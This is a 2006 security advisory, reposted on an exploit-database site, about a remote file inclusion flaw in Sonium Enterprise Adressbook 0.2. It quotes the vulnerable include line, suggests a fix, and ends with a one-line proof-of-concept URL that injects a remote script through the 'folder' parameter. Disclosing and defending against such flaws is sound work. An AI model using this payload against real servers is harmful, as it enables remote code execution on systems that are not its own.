[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Sonium Enterprise Adressbook <= 0.2 (folder) Include Vulnerability

Author
Philipp Niedziela
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-715
Category
web applications
Date add
17-08-2006
Platform
unsorted
==================================================================
Sonium Enterprise Adressbook <= 0.2 (folder) Include Vulnerability
==================================================================



+--------------------------------------------------------------------
+
+ Sonium Enterprise Adressbook Version 0.2 (folder) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/342/org/Sonium_Enterprise_Adressbook_Version_0.2_(folder)_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: Sonium Enterprise Adressbook Version 0.2
+ Venedor ...........: http://www.sonium-php.de
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+
+--------------------------------------------------------------------
+
+ Affected Files:
+ /plugins/*.php (not config.php)
+
+ First lines of all these scripts:
+ .....
+     include("$folder/config.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $folder is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to all files in folder "plugins"
+ or modify code:
+
+ if(!isset($_REQUEST['folder']) && !isset($_GET['folder']) &&
!isset($_POST['folder'])){
+  //code of org. *.php
+ }
+ else {
+  echo "You cannot access this file directly.";
+  die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/plugins/1_Adressbuch/delete.php?folder=[script]
+
+-------------------------[ E O F ]----------------------------------






#  0day.today [2024-12-25]  #